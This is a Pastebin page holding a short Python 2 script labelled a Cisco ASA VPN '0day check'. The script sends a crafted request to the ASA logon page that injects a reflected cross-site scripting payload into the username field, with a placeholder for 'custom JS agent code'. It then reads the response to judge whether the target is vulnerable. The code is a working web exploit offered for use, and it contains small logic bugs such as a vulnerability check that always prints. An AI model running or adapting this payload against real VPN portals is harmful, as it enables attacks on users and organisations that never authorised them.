Advertisement
illwill

Cisco ASA VPN - 0day check

Feb 22nd, 2016
435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.45 KB | None | 0 0
  1. import string, sys
  2. import ssl, socket, httplib
  3.  
  4. if __name__ == '__main__':
  5.         try:
  6.                 Target = sys.argv[1]
  7.                 Port = int(sys.argv[2])
  8.                 # Here goes your custom JS agent code
  9.                 Payload = "alert(1)"
  10.                 VulnerableURL =
  11. "/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=&status=0&username=juansacco%22%20accesskey%3dX%20onclick%3d"
  12. + Payload + "%20sacco&password_min=0&state=&tgroup=&serverType=0&password_"
  13.                 CraftedRequest = VulnerableURL
  14.  
  15.                 # Start the connection
  16.                 connection =
  17. httplib.HTTPSConnection(Target,Port,context=ssl._create_unverified_context())
  18.                 connection.request('GET', CraftedRequest)
  19.                 Response = connection.getresponse()
  20.                 print "Server status response:", Response.status,
  21. Response.reason
  22.                 data = Response.read()
  23.                 vulnerable = "Target is not vulnerable"
  24.  
  25.                 for line in str(data).splitlines():
  26.                         if "juansacco" in line:
  27.                                 vulnerable = "Targer is vulnerable"
  28.                         if vulnerable != "Not vulnerable":
  29.                                 print "Result of the test:", vulnerable
  30.  
  31.                 # Find the injection on the response
  32.                 connection.close()
  33.  
  34.         except Exception,e:
  35.                 print "Exploit connection closed " + str(e)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement